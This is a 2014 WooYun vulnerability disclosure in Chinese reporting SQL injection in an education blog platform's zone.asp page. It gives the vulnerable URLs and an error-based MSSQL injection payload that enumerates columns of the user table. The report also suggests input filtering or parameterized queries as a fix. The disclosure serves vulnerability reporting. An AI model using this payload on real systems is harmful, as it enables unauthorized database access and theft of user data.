漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-048601
漏洞标题：新思考中国教育资源服务平台-SQL注入
相关厂商：新思考网
漏洞作者： 隐形小桃
提交时间：2014-01-11 19:19
修复时间：2014-02-25 19:20
公开时间：2014-02-25 19:20
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-01-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-02-25： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
一般性的SQL注入，能想到的都能干。
详细说明：
多点存在SQL注入,MSSQL2005 错误回显型，已经证明的有：
GET：http://eblog.cersp.com/fjptcx/zone.asp?op=logclass&z=2&keys=123'&so=blogname&province=undefined
POST：http://eblog.cersp.com/fjptcx/zone.asp?op=logclass&z=2
参数：keys=123'&so=topic&search=%CB%D1%CB%F7
漏洞证明：
GET：http://eblog.cersp.com/fjptcx/zone.asp?op=logclass&z=2&keys=123'&so=blogname&province=undefined
POST：http://eblog.cersp.com/fjptcx/zone.asp?op=logclass&z=2
参数：keys=' and (select top 1 name from cersp_blog.sys.columns where object_id=(select object_id from cersp_blog.sys.tables where name='oblog_user') and name not in ('userid','username','user_domain','user_domainroot','user_dir','useremail'))>0 --&so=topic&search=%CB%D1%CB%F7
修复方案：
其实本站其他页面已有反注入系统，个别页面存在漏洞。
过滤SQL用字符，包括「'」「;」「--」「 」「+」「and」等。
或将递交的参数值作为整体进行解释。
版权声明：转载请注明来源 隐形小桃@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝